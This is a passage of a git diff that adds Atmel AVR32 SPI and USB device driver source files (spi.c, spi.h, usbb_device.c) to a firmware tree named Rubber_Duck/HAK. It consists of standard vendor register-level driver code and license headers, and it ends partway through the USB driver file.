spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + // Last transfer, so deassert the current NPCS if CSAAT is set. + spi->cr = AVR32_SPI_CR_LASTXFER_MASK; + +#ifdef FREERTOS_USED + xSemaphoreGive(xSPIMutex); +#endif + + return SPI_OK; +} + + +spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pb_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + int baudDiv = getBaudDiv(options->baudrate, pb_hz); + + if (baudDiv < 0) { + return SPI_ERROR_ARGUMENT; + } + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + u_avr32_spi_csr.csr = 0; + u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1; + u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1; + u_avr32_spi_csr.CSR.csaat = options->stay_act; + u_avr32_spi_csr.CSR.bits = options->bits - 8; + u_avr32_spi_csr.CSR.scbr = baudDiv; + u_avr32_spi_csr.CSR.dlybs = options->spck_delay; + u_avr32_spi_csr.CSR.dlybct = options->trans_delay; + + switch(options->reg) { + case 0: + spi->csr0 = u_avr32_spi_csr.csr; + break; + case 1: + spi->csr1 = u_avr32_spi_csr.csr; + break; + case 2: + spi->csr2 = u_avr32_spi_csr.csr; + break; + case 3: + spi->csr3 = u_avr32_spi_csr.csr; + break; + default: + return SPI_ERROR_ARGUMENT; + } + +#ifdef FREERTOS_USED + if (!xSPIMutex) + { + // Create the SPI mutex. + vSemaphoreCreateBinary(xSPIMutex); + if (!xSPIMutex) + { + while(1); + } + } +#endif + + return SPI_OK; +} + + +void spi_enable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIEN_MASK; +} + + +void spi_disable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIDIS_MASK; +} + + +int spi_is_enabled(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_SPIENS_MASK) != 0; +} + +unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0); +} + + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; + + return SPI_OK; +} + + +spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, uint16_t data, + uint8_t pcs, uint8_t lastxfer) +{ + unsigned int timeout = SPI_TIMEOUT; + + if (pcs > 14 || lastxfer > 1) { + return SPI_ERROR_ARGUMENT; + } + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = (data << AVR32_SPI_TDR_TD_OFFSET) | + (pcs << AVR32_SPI_TDR_PCS_OFFSET) | + (lastxfer << AVR32_SPI_TDR_LASTXFER_OFFSET); + + return SPI_OK; +} + + +unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0); +} + + +unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0); +} + + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + *data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET; + + return SPI_OK; +} + + +unsigned char spi_getStatus(volatile avr32_spi_t *spi) +{ + spi_status_t ret = SPI_OK; + unsigned long sr = spi->sr; + + if (sr & AVR32_SPI_SR_OVRES_MASK) { + ret = SPI_ERROR_OVERRUN; + } + + if (sr & AVR32_SPI_SR_MODF_MASK) { + ret += SPI_ERROR_MODE_FAULT; + } + + if (ret == (SPI_ERROR_OVERRUN + SPI_ERROR_MODE_FAULT)) { + return SPI_ERROR_OVERRUN_AND_MODE_FAULT; + } + else if (ret > 0) { + return ret; + } else { + return SPI_OK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.h new file mode 100755 index 0000000..e51fa68 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.h @@ -0,0 +1,709 @@ +/***************************************************************************** + * + * \file + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _SPI_H_ +#define _SPI_H_ + +/** + * \defgroup group_avr32_drivers_spi SPI - Serial Peripheral Interface + * + * Driver for the SPI (Serial Peripheral Interface). + * The SPI circuit is a synchronous serial data link that provides communication with external devices in Master + * or Slave mode. Connection to Peripheral DMA Controller channel capabilities optimizes data transfers. + * + * \{ + */ + +#include "compiler.h" + +//! Time-out value (number of attempts). +#define SPI_TIMEOUT 15000 + +//! Spi Mode 0. +#define SPI_MODE_0 0 + +//! Spi Mode 1. +#define SPI_MODE_1 1 + + +//! Status codes used by the SPI driver. +typedef enum +{ + SPI_ERROR = -1, + SPI_OK = 0, + SPI_ERROR_TIMEOUT = 1, + SPI_ERROR_ARGUMENT, + SPI_ERROR_OVERRUN, + SPI_ERROR_MODE_FAULT, + SPI_ERROR_OVERRUN_AND_MODE_FAULT +} spi_status_t; + +//! Option structure for SPI channels. +typedef struct +{ + //! The SPI channel to set up. + uint8_t reg; + + //! Preferred baudrate for the SPI. + uint32_t baudrate; + + //! Number of bits in each character (8 to 16). + uint8_t bits; + //! Delay before first clock pulse after selecting slave (in PBA clock periods). + uint8_t spck_delay; + + //! Delay between each transfer/character (in PBA clock periods). + uint8_t trans_delay; + + //! Sets this chip to stay active after last transfer to it. + uint8_t stay_act; + + //! Which SPI mode to use when transmitting. + uint8_t spi_mode; + + //! Disables the mode fault detection. + //! With this bit cleared, the SPI master mode will disable itself if another + //! master tries to address it. + uint8_t modfdis; +} spi_options_t; + +/*! \brief Reset the SPI. + * + * \param spi Base address of the SPI instance. + * + */ +static inline void spi_reset(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SWRST_MASK; +} + +/*! \brief Set Master Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_master_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 1; +} + +/*! \brief Set Slave Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_slave_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 0; +} + +/*! \brief Enable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 0; +} + +/*! \brief Disable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 1; +} + +/*! \brief Enable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 1; +} + +/*! \brief Disable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 0; +} + +/*! \brief Enable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 1; +} + +/*! \brief Disable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 0; +} + +/*! \brief Set Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_set_chipselect(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + spi->MR.pcs = chip_select; +} + +/*! \brief Enable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 1; +} + +/*! \brief Disable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 0; +} + +/*! \brief Set Delay Between Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param delay Delay. + */ +static inline void spi_set_delay(volatile avr32_spi_t *spi,uint8_t delay) +{ + spi->MR.dlybcs = delay; +} + +/*! \brief Set Delay Between Consecutive Transfer on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ + +static inline void spi_set_chipselect_delay_bct(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select <= 3); + switch(chip_select) { + case 0: + spi->CSR0.dlybct = delay; + break; + case 1: + spi->CSR1.dlybct = delay; + break; + case 2: + spi->CSR2.dlybct = delay; + break; + case 3: + spi->CSR3.dlybct = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ +static inline void spi_set_chipselect_delay_bs(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select <= 3); + switch(chip_select) { + case 0: + spi->CSR0.dlybs = delay; + break; + case 1: + spi->CSR1.dlybs = delay; + break; + case 2: + spi->CSR2.dlybs = delay; + break; + case 3: + spi->CSR3.dlybs = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param len Bits per Transfer [8...16]. + */ +static inline void spi_set_bits_per_transfer(volatile avr32_spi_t *spi, uint8_t chip_select, + uint8_t len) +{ + Assert((len >= 8) && (len <= 16)); + switch(chip_select) { + case 0: + spi->CSR0.bits = len - 8; + break; + case 1: + spi->CSR1.bits = len - 8; + break; + case 2: + spi->CSR2.bits = len - 8; + break; + case 3: + spi->CSR3.bits = len - 8; + break; + } +} + +/*! \brief Set baudrate for a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param scbr Baudrate Register. + */ +static inline void spi_set_baudrate_register(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t scbr) +{ + switch(chip_select) { + case 0: + spi->CSR0.scbr = scbr; + break; + case 1: + spi->CSR1.scbr = scbr; + break; + case 2: + spi->CSR2.scbr = scbr; + break; + case 3: + spi->CSR3.scbr = scbr; + break; + } +} + +/*! \brief Enable Active mode of a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_enable_active_mode(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + switch(chip_select) { + case 0: + spi->CSR0.csaat = 1; + break; + case 1: + spi->CSR1.csaat = 1; + break; + case 2: + spi->CSR2.csaat = 1; + break; + case 3: + spi->CSR3.csaat = 1; + break; + } +} + +/*! \brief Set Mode of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param flags SPI Mode. + */ +static inline void spi_set_mode(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t flags) +{ + switch(chip_select) { + case 0: + spi->CSR0.cpol = flags >> 1; + spi->CSR0.ncpha = (flags & 0x1) ^ 0x1; + break; + case 1: + spi->CSR1.cpol = flags >> 1; + spi->CSR1.ncpha = (flags & 0x1) ^ 0x1; + break; + case 2: + spi->CSR2.cpol = flags >> 1; + spi->CSR2.ncpha = (flags & 0x1) ^ 0x1; + break; + case 3: + spi->CSR3.cpol = flags >> 1; + spi->CSR3.ncpha = (flags & 0x1) ^ 0x1; + break; + } +} + +/*! \brief Put one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \param data The data byte to be loaded + * + */ +static inline void spi_put(volatile avr32_spi_t *spi, uint16_t data) +{ + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; +} + +/*! \brief Get one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \return The data byte + * + */ +static inline uint16_t spi_get(volatile avr32_spi_t *spi) +{ + return (spi->rdr >> AVR32_SPI_RDR_RD_OFFSET); +} + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_empty(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0; +} + +/*! \brief Checks if all transmissions is ready. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0; +} + +/*! \brief Check if the SPI contains a received character. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receive Holding Register is full, otherwise \c 0. + */ +static inline bool spi_is_rx_full(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0; +} + +/*! \brief Checks if all reception is ready. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receiver is ready, otherwise \c 0. + */ +static inline bool spi_is_rx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) == + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK); +} + +/*! \brief Resets the SPI controller. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_reset(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in slave mode. + * + * \param spi Base address of the SPI instance. + * \param bits Number of bits in each transmitted character (8 to 16). + * \param spi_mode Clock polarity and phase. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + uint8_t bits, + uint8_t spi_mode); + +/*! \brief Sets up the SPI in a test mode where the transmitter is connected to + * the receiver (local loopback). + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + */ +extern spi_status_t spi_initTest(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in master mode. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options); + +/*! \brief Calculates the baudrate divider. + * + * \param baudrate Baudrate value. + * \param pb_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Divider or error code. + * \retval >=0 Success. + * \retval <0 Error. + */ +extern int16_t getBaudDiv(const unsigned int baudrate, uint32_t pb_hz); + +/*! \brief Sets up how and when the slave chips are selected (master mode only). + * + * \param spi Base address of the SPI instance. + * \param variable_ps Target slave is selected in transfer register for every + * character to transmit. + * \param pcs_decode The four chip select lines are decoded externally. Values + * 0 to 14 can be given to \ref spi_selectChip. + * \param delay Delay in PBA periods between chip selects. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + uint8_t variable_ps, + uint8_t pcs_decode, + uint8_t delay); +/*! \brief Selects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Unselects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if last transmission + * is not complete. Invoke \ref spi_writeEndCheck beforehand if needed. + */ +extern spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Sets options for a specific slave chip. + * + * The baudrate field has to be written before transfer in master mode. Four + * similar registers exist, one for each slave. When using encoded slave + * addressing, reg=0 sets options for slaves 0 to 3, reg=1 for slaves 4 to 7 and + * so on. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options for + * an SPI channel. + * \param pb_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pb_hz); +/*! \brief Enables the SPI. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_enable(volatile avr32_spi_t *spi); + +/*! \brief Disables the SPI. + * + * Ensures that nothing is transferred while setting up buffers. + * + * \param spi Base address of the SPI instance. + * + * \warning This may cause data loss if used on a slave SPI. + */ +extern void spi_disable(volatile avr32_spi_t *spi); + +/*! \brief Tests if the SPI is enabled. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI is enabled, otherwise \c 0. + */ +extern int spi_is_enabled(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is no data in the transmit register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 No data in TDR. + * \retval 0 Some data in TDR. + */ +extern unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi); + +/*! \brief Writes one data word in master fixed peripheral select mode or in + * slave mode. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data); + +/*! \brief Selects a slave in master variable peripheral select mode and writes + * one data word to it. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * \param pcs Slave selector (bit 0 -> nCS line 0, bit 1 -> nCS line 1, + * etc.). + * \param lastxfer Boolean indicating whether this is the last data word + * transfer. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, + uint16_t data, + uint8_t pcs, + uint8_t lastxfer); + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +extern unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is data in the receive register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 Some data in RDR. + * \retval 0 No data in RDR. + */ +extern unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi); + +/*! \brief Reads one data word in master mode or in slave mode. + * + * \param spi Base address of the SPI instance. + * \param data Pointer to the location where to store the received data word. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if no data is + * received or last transmission is not complete. Invoke + * \ref spi_writeEndCheck or \ref spi_readRegisterFullCheck beforehand if + * needed. + */ +extern spi_status_t spi_read(volatile avr32_spi_t *spi, uint16_t *data); + +/*! \brief Gets status information from the SPI. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_OVERRUN Overrun error. + * \retval SPI_ERROR_MODE_FAULT Mode fault (SPI addressed as slave + * while in master mode). + * \retval SPI_ERROR_OVERRUN_AND_MODE_FAULT Overrun error and mode fault. + */ +extern unsigned char spi_getStatus(volatile avr32_spi_t *spi); + +/** + * \} + */ + +#endif // _SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.c new file mode 100755 index 0000000..2e1148c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.c @@ -0,0 +1,1644 @@ +/** + * \file + * + * \brief USB Device driver + * Compliance with common driver UDD + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#include "conf_usb.h" +#include "sysclk.h" +#include "sleep.h" +#include "udd.h" +#include "usbb_otg.h" +#include "usbb_device.h" +#include + +// Fix the fact that, for some IAR header files, the AVR32_USBB_IRQ_GROUP define +// has been defined as AVR32_USB_IRQ_GROUP instead. +#if !defined(AVR32_USBB_IRQ_GROUP) +# define AVR32_USBB_IRQ_GROUP AVR32_USB_IRQ_GROUP +#endif + +#ifndef UDD_NO_SLEEP_MGR +# include "sleepmgr.h" +#endif + +#ifndef UDD_USB_INT_LEVEL +# define UDD_USB_INT_LEVEL 0 // By default USB interrupt have low priority +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * \section USBB_CONF USBB Custom configuration + * The following USBB driver configuration must be included in the conf_usb.h + * file of the application. + * + * UDD_USB_INT_LEVEL
+ * Option to change the interrupt priority (0 to 3) by default 0 (recommended). + * + * UDD_ISOCHRONOUS_NB_BANK
+ * Feature to reduce or increase isochronous endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_BULK_NB_BANK
+ * Feature to reduce or increase bulk endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_INTERRUPT_NB_BANK
+ * Feature to reduce or increase interrupt endpoints buffering (1 to 2). + * Default value 1. + * + * \section Callbacks management + * The USB driver is fully managed by interrupt and does not request periodique + * task. Thereby, the USB events use callbacks to transfer the information. + * The callbacks are declared in static during compilation or in variable during + * code execution. + * + * Static declarations defined in conf_usb.h: + * - UDC_VBUS_EVENT(bool b_present)
+ * To signal Vbus level change + * - UDC_SUSPEND_EVENT()
+ * Called when USB bus enter in suspend mode + * - UDC_RESUME_EVENT()
+ * Called when USB bus is wakeup + * - UDC_SOF_EVENT()
+ * Called for each received SOF, Note: Each 1ms in HS/FS mode only. + * + * Dynamic callbacks, called "endpoint job" , are registered + * in udd_ep_job_t structure via the following functions: + * - udd_ep_run()
+ * To call it when a transfer is finish + * - udd_ep_wait_stall_clear()
+ * To call it when a endpoint halt is disabled + * + * \section Power mode management + * The Sleep modes authorized : + * - in USB IDLE state, the USBB needs of USB clock and authorizes up to IDLE mode + * - in USB SUSPEND state, the USBB no needs USB clock but requests a minimum + * clock restart timing. Thus, it authorizes up to STATIC or STANDBY mode. + * - Vbus monitoring used in USB Self-Power mode authorizes up to STOP mode + * + * The USBB_SLEEP_MODE_USB_IDLE equals SLEEPMGR_IDLE. + * + * The USBB_SLEEP_MODE_USB_SUSPEND depends on USB Power mode, + * USB clock startup timing and USB Speed mode: + * | Power Mode | Speed mode | Clock Startup | Sleep mode authorized | + * | X | LS, FS | >10ms | SLEEPMGR_STDBY | + * | X | HS | >3ms | SLEEPMGR_STDBY | + * | Self-Power | LS, FS | <=10ms | SLEEPMGR_STOP | + * | Self-Power | HS | <=3ms | SLEEPMGR_STOP | + * | Bus-Power | LS, FS | <=10ms | SLEEPMGR_STATIC | + * | Bus-Power | HS | <=3ms | SLEEPMGR_STATIC | + * + * @{ + */ + + +// Check USB Device configuration +#ifndef USB_DEVICE_EP_CTRL_SIZE +# error USB_DEVICE_EP_CTRL_SIZE not defined +#endif +#ifndef USB_DEVICE_MAX_EP +# error USB_DEVICE_MAX_EP not defined +#endif +#if (UC3A0 || UC3A1 || UC3B) +# ifdef USB_DEVICE_HS_SUPPORT +# error The High speed mode is not supported on this part, please remove USB_DEVICE_HS_SUPPORT in conf_usb.h +# endif +#endif + +#ifndef UDD_ISOCHRONOUS_NB_BANK +# define UDD_ISOCHRONOUS_NB_BANK 2 +#else +# if (UDD_ISOCHRONOUS_NB_BANK<1) || (UDD_ISOCHRONOUS_NB_BANK>2) +# error UDD_ISOCHRONOUS_NB_BANK must be define with 1 or 2. +# endif +#endif +#ifndef UDD_BULK_NB_BANK +# define UDD_BULK_NB_BANK 2 +#else +# if (UDD_BULK_NB_BANK<1) || (UDD_BULK_NB_BANK>2) +# error UDD_BULK_NB_BANK must be define with 1 or 2. +# endif +#endif +#ifndef UDD_INTERRUPT_NB_BANK +# define UDD_INTERRUPT_NB_BANK 1 +#else +# if (UDD_INTERRUPT_NB_BANK<1) || (UDD_INTERRUPT_NB_BANK>2) +# error UDD_INTERRUPT_NB_BANK must be define with 1 or 2. +# endif +#endif + + +/** + * \name Power management routine. + */ +//@{ + +#ifndef UDD_NO_SLEEP_MGR + +//! Definition of sleep levels +#if ((defined USB_DEVICE_HS_SUPPORT) && 